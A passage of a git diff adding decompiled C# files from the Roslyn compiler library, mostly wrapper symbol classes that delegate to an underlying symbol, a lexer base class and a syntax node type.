IsGenericMethod => UnderlyingMethod.IsGenericMethod; + + public override int Arity => UnderlyingMethod.Arity; + + public override RefKind RefKind => UnderlyingMethod.RefKind; + + internal override int ParameterCount => UnderlyingMethod.ParameterCount; + + public override bool IsExtensionMethod => UnderlyingMethod.IsExtensionMethod; + + public override bool HidesBaseMethodsByName => UnderlyingMethod.HidesBaseMethodsByName; + + public override bool AreLocalsZeroed => UnderlyingMethod.AreLocalsZeroed; + + public override ImmutableArray Locations => UnderlyingMethod.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => UnderlyingMethod.DeclaringSyntaxReferences; + + public override Accessibility DeclaredAccessibility => UnderlyingMethod.DeclaredAccessibility; + + public override bool IsStatic => UnderlyingMethod.IsStatic; + + public override bool RequiresInstanceReceiver => UnderlyingMethod.RequiresInstanceReceiver; + + public override bool IsVirtual => UnderlyingMethod.IsVirtual; + + public override bool IsAsync => UnderlyingMethod.IsAsync; + + public override bool IsOverride => UnderlyingMethod.IsOverride; + + public override bool IsAbstract => UnderlyingMethod.IsAbstract; + + public override bool IsSealed => UnderlyingMethod.IsSealed; + + public override bool IsExtern => UnderlyingMethod.IsExtern; + + public override bool IsImplicitlyDeclared => UnderlyingMethod.IsImplicitlyDeclared; + + internal override bool IsMetadataFinal => UnderlyingMethod.IsMetadataFinal; + + internal override bool RequiresSecurityObject => UnderlyingMethod.RequiresSecurityObject; + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => UnderlyingMethod.ReturnValueMarshallingInformation; + + internal override bool HasDeclarativeSecurity => UnderlyingMethod.HasDeclarativeSecurity; + + internal override ObsoleteAttributeData ObsoleteAttributeData => UnderlyingMethod.ObsoleteAttributeData; + + public override string Name => UnderlyingMethod.Name; + + internal override bool HasSpecialName => UnderlyingMethod.HasSpecialName; + + internal override MethodImplAttributes ImplementationAttributes => UnderlyingMethod.ImplementationAttributes; + + public override MethodKind MethodKind => UnderlyingMethod.MethodKind; + + internal override CallingConvention CallingConvention => UnderlyingMethod.CallingConvention; + + internal override bool IsAccessCheckedOnOverride => UnderlyingMethod.IsAccessCheckedOnOverride; + + internal override bool IsExternal => UnderlyingMethod.IsExternal; + + internal override bool HasRuntimeSpecialName => UnderlyingMethod.HasRuntimeSpecialName; + + public sealed override bool ReturnsVoid => UnderlyingMethod.ReturnsVoid; + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => UnderlyingMethod.ReturnTypeFlowAnalysisAnnotations; + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => UnderlyingMethod.ReturnNotNullIfParameterNotNull; + + public sealed override FlowAnalysisAnnotations FlowAnalysisAnnotations => UnderlyingMethod.FlowAnalysisAnnotations; + + internal sealed override ImmutableArray NotNullMembers => UnderlyingMethod.NotNullMembers; + + internal sealed override ImmutableArray NotNullWhenTrueMembers => UnderlyingMethod.NotNullWhenTrueMembers; + + internal sealed override ImmutableArray NotNullWhenFalseMembers => UnderlyingMethod.NotNullWhenFalseMembers; + + internal override bool ReturnValueIsMarshalledExplicitly => UnderlyingMethod.ReturnValueIsMarshalledExplicitly; + + internal override ImmutableArray ReturnValueMarshallingDescriptor => UnderlyingMethod.ReturnValueMarshallingDescriptor; + + internal override bool GenerateDebugInfo => UnderlyingMethod.GenerateDebugInfo; + + internal override bool IsDeclaredReadOnly => UnderlyingMethod.IsDeclaredReadOnly; + + internal override bool IsInitOnly => UnderlyingMethod.IsInitOnly; + + protected sealed override bool HasSetsRequiredMembersImpl => UnderlyingMethod.HasSetsRequiredMembers; + + internal sealed override bool HasUnscopedRefAttribute => UnderlyingMethod.HasUnscopedRefAttribute; + + internal sealed override bool UseUpdatedEscapeRules => UnderlyingMethod.UseUpdatedEscapeRules; + + public WrappedMethodSymbol() + { + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return UnderlyingMethod.IsMetadataVirtual(ignoreInterfaceImplementationChanges); + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return UnderlyingMethod.IsMetadataNewSlot(ignoreInterfaceImplementationChanges); + } + + public override DllImportData GetDllImportData() + { + return UnderlyingMethod.GetDllImportData(); + } + + internal override IEnumerable GetSecurityInformation() + { + return UnderlyingMethod.GetSecurityInformation(); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return UnderlyingMethod.GetAppliedConditionalSymbols(); + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return UnderlyingMethod.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedNamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedNamedTypeSymbol.cs new file mode 100644 index 0000000..859ff04 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedNamedTypeSymbol.cs @@ -0,0 +1,123 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class WrappedNamedTypeSymbol : NamedTypeSymbol +{ + protected readonly NamedTypeSymbol _underlyingType; + + public NamedTypeSymbol UnderlyingNamedType => _underlyingType; + + public override bool IsImplicitlyDeclared => _underlyingType.IsImplicitlyDeclared; + + public override int Arity => _underlyingType.Arity; + + public override bool MightContainExtensionMethods => _underlyingType.MightContainExtensionMethods; + + public override string Name => _underlyingType.Name; + + public override string MetadataName => _underlyingType.MetadataName; + + internal override bool HasSpecialName => _underlyingType.HasSpecialName; + + internal override bool MangleName => _underlyingType.MangleName; + + public override Accessibility DeclaredAccessibility => _underlyingType.DeclaredAccessibility; + + public override TypeKind TypeKind => _underlyingType.TypeKind; + + internal override bool IsInterface => _underlyingType.IsInterface; + + public override ImmutableArray Locations + { + get + { + if (IsTupleType) + { + return base.TupleData.Locations; + } + return _underlyingType.Locations; + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + if (IsTupleType) + { + return Symbol.GetDeclaringSyntaxReferenceHelper(base.TupleData.Locations); + } + return _underlyingType.DeclaringSyntaxReferences; + } + } + + public override bool IsStatic => _underlyingType.IsStatic; + + public override bool IsAbstract => _underlyingType.IsAbstract; + + internal override bool IsMetadataAbstract => _underlyingType.IsMetadataAbstract; + + public override bool IsSealed => _underlyingType.IsSealed; + + internal override bool IsMetadataSealed => _underlyingType.IsMetadataSealed; + + internal override bool HasCodeAnalysisEmbeddedAttribute => _underlyingType.HasCodeAnalysisEmbeddedAttribute; + + internal override bool IsInterpolatedStringHandlerType => _underlyingType.IsInterpolatedStringHandlerType; + + internal override ObsoleteAttributeData ObsoleteAttributeData => _underlyingType.ObsoleteAttributeData; + + internal override bool ShouldAddWinRTMembers => _underlyingType.ShouldAddWinRTMembers; + + internal override bool IsWindowsRuntimeImport => _underlyingType.IsWindowsRuntimeImport; + + internal override TypeLayout Layout => _underlyingType.Layout; + + internal override CharSet MarshallingCharSet => _underlyingType.MarshallingCharSet; + + public override bool IsSerializable => _underlyingType.IsSerializable; + + public override bool IsRefLikeType => _underlyingType.IsRefLikeType; + + public override bool IsReadOnly => _underlyingType.IsReadOnly; + + internal override bool HasDeclarativeSecurity => _underlyingType.HasDeclarativeSecurity; + + public WrappedNamedTypeSymbol(NamedTypeSymbol underlyingType, TupleExtraData tupleData) + : base(tupleData) + { + _underlyingType = underlyingType; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingType.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + internal override IEnumerable GetSecurityInformation() + { + return _underlyingType.GetSecurityInformation(); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return _underlyingType.GetAppliedConditionalSymbols(); + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _underlyingType.GetAttributeUsageInfo(); + } + + internal override bool GetGuidString(out string guidString) + { + return _underlyingType.GetGuidString(out guidString); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedParameterSymbol.cs new file mode 100644 index 0000000..f25c3a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedParameterSymbol.cs @@ -0,0 +1,83 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class WrappedParameterSymbol : ParameterSymbol +{ + protected readonly ParameterSymbol _underlyingParameter; + + public ParameterSymbol UnderlyingParameter => _underlyingParameter; + + public sealed override bool IsDiscard => _underlyingParameter.IsDiscard; + + public override TypeWithAnnotations TypeWithAnnotations => _underlyingParameter.TypeWithAnnotations; + + public sealed override RefKind RefKind => _underlyingParameter.RefKind; + + internal sealed override bool IsMetadataIn => _underlyingParameter.IsMetadataIn; + + internal sealed override bool IsMetadataOut => _underlyingParameter.IsMetadataOut; + + public sealed override ImmutableArray Locations => _underlyingParameter.Locations; + + public sealed override ImmutableArray DeclaringSyntaxReferences => _underlyingParameter.DeclaringSyntaxReferences; + + internal sealed override ConstantValue? ExplicitDefaultConstantValue => _underlyingParameter.ExplicitDefaultConstantValue; + + public override int Ordinal => _underlyingParameter.Ordinal; + + public override bool IsParams => _underlyingParameter.IsParams; + + internal override bool IsMetadataOptional => _underlyingParameter.IsMetadataOptional; + + public override bool IsImplicitlyDeclared => _underlyingParameter.IsImplicitlyDeclared; + + public sealed override string Name => _underlyingParameter.Name; + + public sealed override string MetadataName => _underlyingParameter.MetadataName; + + public override ImmutableArray RefCustomModifiers => _underlyingParameter.RefCustomModifiers; + + internal override MarshalPseudoCustomAttributeData? MarshallingInformation => _underlyingParameter.MarshallingInformation; + + internal override UnmanagedType MarshallingType => _underlyingParameter.MarshallingType; + + internal override bool IsIDispatchConstant => _underlyingParameter.IsIDispatchConstant; + + internal override bool IsIUnknownConstant => _underlyingParameter.IsIUnknownConstant; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => _underlyingParameter.FlowAnalysisAnnotations; + + internal override ImmutableHashSet NotNullIfParameterNotNull => _underlyingParameter.NotNullIfParameterNotNull; + + internal sealed override ScopedKind EffectiveScope => _underlyingParameter.EffectiveScope; + + internal sealed override bool HasUnscopedRefAttribute => _underlyingParameter.HasUnscopedRefAttribute; + + internal sealed override bool UseUpdatedEscapeRules => _underlyingParameter.UseUpdatedEscapeRules; + + protected WrappedParameterSymbol(ParameterSymbol underlyingParameter) + { + _underlyingParameter = underlyingParameter; + } + + public override ImmutableArray GetAttributes() + { + return _underlyingParameter.GetAttributes(); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + _underlyingParameter.AddSynthesizedAttributes(moduleBuilder, ref attributes); + } + + public override string GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingParameter.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedPropertySymbol.cs new file mode 100644 index 0000000..e319f45 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedPropertySymbol.cs @@ -0,0 +1,63 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class WrappedPropertySymbol : PropertySymbol +{ + protected readonly PropertySymbol _underlyingProperty; + + public PropertySymbol UnderlyingProperty => _underlyingProperty; + + public override bool IsImplicitlyDeclared => _underlyingProperty.IsImplicitlyDeclared; + + public override RefKind RefKind => _underlyingProperty.RefKind; + + public override bool IsIndexer => _underlyingProperty.IsIndexer; + + internal override CallingConvention CallingConvention => _underlyingProperty.CallingConvention; + + public override string Name => _underlyingProperty.Name; + + internal override bool HasSpecialName => _underlyingProperty.HasSpecialName; + + public override ImmutableArray Locations => _underlyingProperty.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _underlyingProperty.DeclaringSyntaxReferences; + + public override Accessibility DeclaredAccessibility => _underlyingProperty.DeclaredAccessibility; + + public override bool IsStatic => _underlyingProperty.IsStatic; + + public override bool IsVirtual => _underlyingProperty.IsVirtual; + + public override bool IsOverride => _underlyingProperty.IsOverride; + + public override bool IsAbstract => _underlyingProperty.IsAbstract; + + public override bool IsSealed => _underlyingProperty.IsSealed; + + public override bool IsExtern => _underlyingProperty.IsExtern; + + internal sealed override bool IsRequired => _underlyingProperty.IsRequired; + + internal sealed override bool HasUnscopedRefAttribute => _underlyingProperty.HasUnscopedRefAttribute; + + internal override ObsoleteAttributeData ObsoleteAttributeData => _underlyingProperty.ObsoleteAttributeData; + + public override string MetadataName => _underlyingProperty.MetadataName; + + internal override bool HasRuntimeSpecialName => _underlyingProperty.HasRuntimeSpecialName; + + public WrappedPropertySymbol(PropertySymbol underlyingProperty) + { + _underlyingProperty = underlyingProperty; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingProperty.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedTypeParameterSymbol.cs new file mode 100644 index 0000000..1a595b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedTypeParameterSymbol.cs @@ -0,0 +1,82 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class WrappedTypeParameterSymbol : TypeParameterSymbol +{ + protected readonly TypeParameterSymbol _underlyingTypeParameter; + + public TypeParameterSymbol UnderlyingTypeParameter => _underlyingTypeParameter; + + public override bool IsImplicitlyDeclared => _underlyingTypeParameter.IsImplicitlyDeclared; + + public override TypeParameterKind TypeParameterKind => _underlyingTypeParameter.TypeParameterKind; + + public override int Ordinal => _underlyingTypeParameter.Ordinal; + + public override bool HasConstructorConstraint => _underlyingTypeParameter.HasConstructorConstraint; + + public override bool HasReferenceTypeConstraint => _underlyingTypeParameter.HasReferenceTypeConstraint; + + public override bool IsReferenceTypeFromConstraintTypes + { + get + { + if (!_underlyingTypeParameter.IsReferenceTypeFromConstraintTypes) + { + return TypeParameterSymbol.CalculateIsReferenceTypeFromConstraintTypes(base.ConstraintTypesNoUseSiteDiagnostics); + } + return true; + } + } + + internal override bool? ReferenceTypeConstraintIsNullable => _underlyingTypeParameter.ReferenceTypeConstraintIsNullable; + + public override bool HasNotNullConstraint => _underlyingTypeParameter.HasNotNullConstraint; + + public override bool HasUnmanagedTypeConstraint => _underlyingTypeParameter.HasUnmanagedTypeConstraint; + + public override bool HasValueTypeConstraint => _underlyingTypeParameter.HasValueTypeConstraint; + + public override bool IsValueTypeFromConstraintTypes + { + get + { + if (!_underlyingTypeParameter.IsValueTypeFromConstraintTypes) + { + return TypeParameterSymbol.CalculateIsValueTypeFromConstraintTypes(base.ConstraintTypesNoUseSiteDiagnostics); + } + return true; + } + } + + public override VarianceKind Variance => _underlyingTypeParameter.Variance; + + public override ImmutableArray Locations => _underlyingTypeParameter.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _underlyingTypeParameter.DeclaringSyntaxReferences; + + public override string Name => _underlyingTypeParameter.Name; + + public WrappedTypeParameterSymbol(TypeParameterSymbol underlyingTypeParameter) + { + _underlyingTypeParameter = underlyingTypeParameter; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingTypeParameter.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + internal override void EnsureAllConstraintsAreResolved() + { + _underlyingTypeParameter.EnsureAllConstraintsAreResolved(); + } + + public override ImmutableArray GetAttributes() + { + return _underlyingTypeParameter.GetAttributes(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AbstractLexer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AbstractLexer.cs new file mode 100644 index 0000000..6fc864f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AbstractLexer.cs @@ -0,0 +1,139 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class AbstractLexer : IDisposable +{ + internal readonly SlidingTextWindow TextWindow; + + private List? _errors; + + protected bool HasErrors => _errors != null; + + protected AbstractLexer(SourceText text) + { + TextWindow = new SlidingTextWindow(text); + } + + public virtual void Dispose() + { + TextWindow.Dispose(); + } + + protected void Start() + { + TextWindow.Start(); + _errors = null; + } + + protected SyntaxDiagnosticInfo[]? GetErrors(int leadingTriviaWidth) + { + if (_errors != null) + { + if (leadingTriviaWidth > 0) + { + SyntaxDiagnosticInfo[] array = new SyntaxDiagnosticInfo[_errors.Count]; + for (int i = 0; i < _errors.Count; i++) + { + array[i] = _errors[i].WithOffset(_errors[i].Offset + leadingTriviaWidth); + } + return array; + } + return _errors.ToArray(); + } + return null; + } + + protected void AddError(int position, int width, ErrorCode code) + { + AddError(MakeError(position, width, code)); + } + + protected void AddError(int position, int width, ErrorCode code, params object[] args) + { + AddError(MakeError(position, width, code, args)); + } + + protected void AddError(int position, int width, XmlParseErrorCode code, params object[] args) + { + AddError(MakeError(position, width, code, args)); + } + + protected void AddError(ErrorCode code) + { + AddError(MakeError(code)); + } + + protected void AddError(ErrorCode code, params object[] args) + { + AddError(MakeError(code, args)); + } + + protected void AddError(XmlParseErrorCode code) + { + AddError(MakeError(code)); + } + + protected void AddError(XmlParseErrorCode code, params object[] args) + { + AddError(MakeError(code, args)); + } + + protected void AddError(SyntaxDiagnosticInfo? error) + { + if (error != null) + { + if (_errors == null) + { + _errors = new List(8); + } + _errors.Add(error); + } + } + + protected SyntaxDiagnosticInfo MakeError(int position, int width, ErrorCode code) + { + return new SyntaxDiagnosticInfo(GetLexemeOffsetFromPosition(position), width, code); + } + + protected SyntaxDiagnosticInfo MakeError(int position, int width, ErrorCode code, params object[] args) + { + return new SyntaxDiagnosticInfo(GetLexemeOffsetFromPosition(position), width, code, args); + } + + protected XmlSyntaxDiagnosticInfo MakeError(int position, int width, XmlParseErrorCode code, params object[] args) + { + return new XmlSyntaxDiagnosticInfo(GetLexemeOffsetFromPosition(position), width, code, args); + } + + private int GetLexemeOffsetFromPosition(int position) + { + if (position < TextWindow.LexemeStartPosition) + { + return position; + } + return position - TextWindow.LexemeStartPosition; + } + + protected static SyntaxDiagnosticInfo MakeError(ErrorCode code) + { + return new SyntaxDiagnosticInfo(code); + } + + protected static SyntaxDiagnosticInfo MakeError(ErrorCode code, params object[] args) + { + return new SyntaxDiagnosticInfo(code, args); + } + + protected static XmlSyntaxDiagnosticInfo MakeError(XmlParseErrorCode code) + { + return new XmlSyntaxDiagnosticInfo(0, 0, code); + } + + protected static XmlSyntaxDiagnosticInfo MakeError(XmlParseErrorCode code, params object[] args) + { + return new XmlSyntaxDiagnosticInfo(0, 0, code, args); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AccessorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AccessorDeclarationSyntax.cs new file mode 100644 index 0000000..f09f563 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/AccessorDeclarationSyntax.cs @@ -0,0 +1,257 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class AccessorDeclarationSyntax : CSharpSyntaxNode +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken keyword; + + internal readonly BlockSyntax? body; + + internal readonly ArrowExpressionClauseSyntax? expressionBody; + + internal readonly SyntaxToken? semicolonToken; + + public SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken Keyword => keyword; + + public BlockSyntax? Body => body; + + public ArrowExpressionClauseSyntax? ExpressionBody => expressionBody; + + public SyntaxToken? SemicolonToken => semicolonToken; + + internal AccessorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal AccessorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal AccessorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => keyword, + 3 => body, + 4 => expressionBody, + 5 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAccessorDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAccessorDeclaration(this); + } + + public AccessorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + AccessorDeclarationSyntax accessorDeclarationSyntax = SyntaxFactory.AccessorDeclaration(base.Kind, attributeLists, modifiers, keyword, body, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + accessorDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(accessorDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + accessorDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(accessorDeclarationSyntax, (IEnumerable)annotations); + } + return accessorDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new AccessorDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, body, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new AccessorDeclarationSyntax(base.Kind, attributeLists, modifiers, keyword, body, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal AccessorDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 6; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + body = blockSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)body); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static AccessorDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(AccessorDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new AccessorDeclarationSyntax(r))); + } +} diff --git 